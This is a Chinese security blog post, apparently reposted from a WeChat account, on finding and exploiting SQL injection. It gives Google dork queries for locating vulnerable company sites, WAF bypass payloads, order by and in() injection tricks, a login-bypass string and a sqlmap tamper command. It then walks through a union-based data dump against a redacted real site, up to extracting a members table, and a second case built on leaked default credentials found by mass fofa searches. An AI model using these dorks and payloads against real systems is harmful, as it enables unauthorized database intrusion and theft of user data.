记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

admin 2022年11月21日17:13:39安全文章评论21 views3476字阅读11分35秒阅读模式

本篇文章会介绍下注入点的查找、绕过方式+漏洞实战挖掘思路和案例

如何查找注入点?

谷歌搜索 谷歌搜索 谷歌搜索

为什么不用百度呢?

比较少,并且找的很多为国内网站。

SQL注入:

inurl:.php?id=xx 公司
inurl:.asp?id=xx 公司
inurl:.jsp?id=xx 公司

id传参的数字也可以变换 这样就可以找到不同的站点

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

也可以在公司后面加上地区

SQL注入常见绕过方式:

大小写加负数绕过:
ANd -1=-1

编码绕过:
DOMXSS一样

+号连接绕过:
and+1=1
union+select+1+2

溢出绕过:
post
传递的参数可以有很多
可以在数据包发送大量垃圾字符,使得waf无法正常工作

白名单(管理员权限或者是127.0.0.1本地访问不拦截,设置X-Forwarded-For

无闭合方式绕过:

http://localhost/?id=1 --+/*%0aand 1=1 --+*/

有闭合方式绕过:

http://localhost/?id=1 --+/*%0a'and 1=1 --+ --+*/

总结:不管什么SQL注入都要结合着来 就算这个地方存在显错注入 你也可以试试用延时注入做出来 这样做的好处就是可以增强对盲注语法以及其他语法的认识

切记要先判断存在注入点的位置,再根据数据库类型如oraclesqlserver选择对应的语法进行利用,还有一些常见过滤,=被过滤可以用like进行替换,空格可以用/**/进行替换等

百度有很多绕过方法sql注入绕过方式 - 戴好面具 - 博客园 (cnblogs.com),实在绕不过去就换个网站,优先php,存在sql注入漏洞,再去其他位置进行漏洞查找,可能还会有意外惊喜

sql注入产生的关键点:

用户提交(主动或被动)的数据内容被带入到数据库程序没有对用户提交的内容做合理的处理,导致用户可以改变原有sql语义添加额外的sql语句

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

伪静态

伪静态的也是一样的
比如:

http://localhost/index.html
http://localhost/index and 1=1.html

普通测试:

整型:id=111-0id=111-1

字符型:username=zhangsan' and 1=1# username=zhangsan' and 1=2#

搜索型:word=%a%'and 1=1#word=%a%' and 1=2#

万能密码测试

'or1=1# 通过使结果变成为真的结果 密码随意填写admin'#  已知账号为admin,将后边注释,密码不会校验

思考为什么万能密码不是插入密码处:select* from member where username=' 'or 1=1#' and pw='aaaaa';

非常见位置测试:

order by [注入点]: 常见参数(orderby)  //预编译对该位置sql注入无效原值,if((1=1),1,(select 1 union select 2))原值,if((1=2),1,(select 1 union select 2))order by 列名 [注入点]: 常见参数(descasc)  //预编译对该位置sql注入无效原值,if((1=1),1,(select 1 union select 2))原值,if((1=2),1,(select 1 union select 2))

预编译过程:

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

username = ?传递这样的东西给数据库,后边再传内容都在username之内如果传字符型的参数,预编译传递到数据库都会去加",这是错误指令 都不会起作用

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

包括desc倒序和asc正序,预编译都不会起作用排序场景:按时间、商品热度排序

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

?test_param=1,if((1=1),1,(select 1 union select 2))&desc=ascif判断,1=1为真,正常,显示1=2,不正常,执行后面程序,显示执行结果超过了一行

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

非常见位置测试:

in(注入点):常见参数(ids或值中包含,的其他参数)
原值) and 1=1#  字符型:原值') and 1=1#
原值) and 1=2#  字符型:原值') and 1=2#

查询条件多个值的时候

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

闭合,注释后边

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

需要猜测值里边是否有内容,这个位置是否跟了多个参数

base64参数的测试:

优势:绝大部分扫描器不会识别 参数经过base64转换后可以绕过waf示例:http://192.168.31.103/sql_base64.php?test_param=bGlsaQ%3D%3D利用:python sqlmap.py -u "http://192.168.31.103/sql_base64.php?test_param=bGlsaQ%3D%3D" -p test_param --tamper base64encode.py

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

传的值经过base64加密lili' and '1' = '1加密==url编码%3D

构造lili' and '1'='2加密,可以绕过waf自动化测试:sqlmap --tamper base64encode.py

、漏洞挖掘实战

www.xxx.org/members.php?id=1

用单引号“'”的时候,发现网站报错。

接着测试,order by 5 ,以第5列进行排列,报错。当 <=实际列数,就不会报错。

www.xxx.org/members.php?id=1 order by 5

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

www.xxx.org/members.php?id=1 order by 4

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

由以上可知,当前表的列为4

知道了几列,接下来就能知道回显的是哪几列。

、联合注入

www.xxx.org/member.php?id=1 and 1=2union select 1,2,3,4

=被过滤使用

www.xxx.org/member.php?id=1 and falseunion select 1,2,3,4

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

回显了24列。

www.xxx.org/member.php?id=1 and false union select 1,user(),3,database()

接下来查元数据库,information_schema

www.xxx.org/member.php?id=1 and false union select 1,user,3,(selecttable_name from information_schema.tables where table_schema=database limit0,1)

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

www.xxx.org/member.php?id=1 and false union select 1,(select id from db83231_asfaa.members limit 0,1),3,(select column_name frominformation_schema.columns where table_schema=database andtable_name='members' limit 0,1)

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

concat字段查询(将多个字段一行输出),查询member表内容。

http://www.xxx.org/members.php?id=1 and false union select 1,(select concat(id,nome,imagem,texto) from db83231_asfaa.members limit 0,1),3,(selectcolumn_name from information_schema.columns where table_schema=database andtable_name='members' limit 0,1)

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

以上为某次手动sql注入实战过程

再记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

先通过信息泄露拿到某平台的默认账号密码,fofa上对该平台进行批量搜索

为避免被恶意利用,这里就不放细节了

进入平台后,XX管理功能点,选择一条数据,点击XX统计管理,按步骤点击后抓包

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

判断出sort参数存在SQL注入,删除cookie依旧能够注入成功,为前台注入

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

以此类推,爆出数据库名为bXXp_XXX_vXXe

记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

0x00 钟毓安全往期精选


欢迎 点赞 + 在看、分享本公众号 给更多师傅们哈
❤️
----------------往期精选-----------------
电子数据取证-搭建取证工作站
面试经书
pc取证-番外篇(4)
Go语言-自学篇-2

Fortify-详解

电子数据取证-计算机系统概论

电子数据取证-电子取证流程与技术

物联网安全测试合集

apk安全测试常用工具

对自己手机的一次取证之路

原文始发于微信公众号(钟毓安全):记一次某云平台高危sql注入漏洞的挖掘思路和最新案例

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月21日17:13:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  记一次某云平台高危sql注入漏洞的挖掘思路和最新案例 http://cn-sec.com/archives/1420878.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: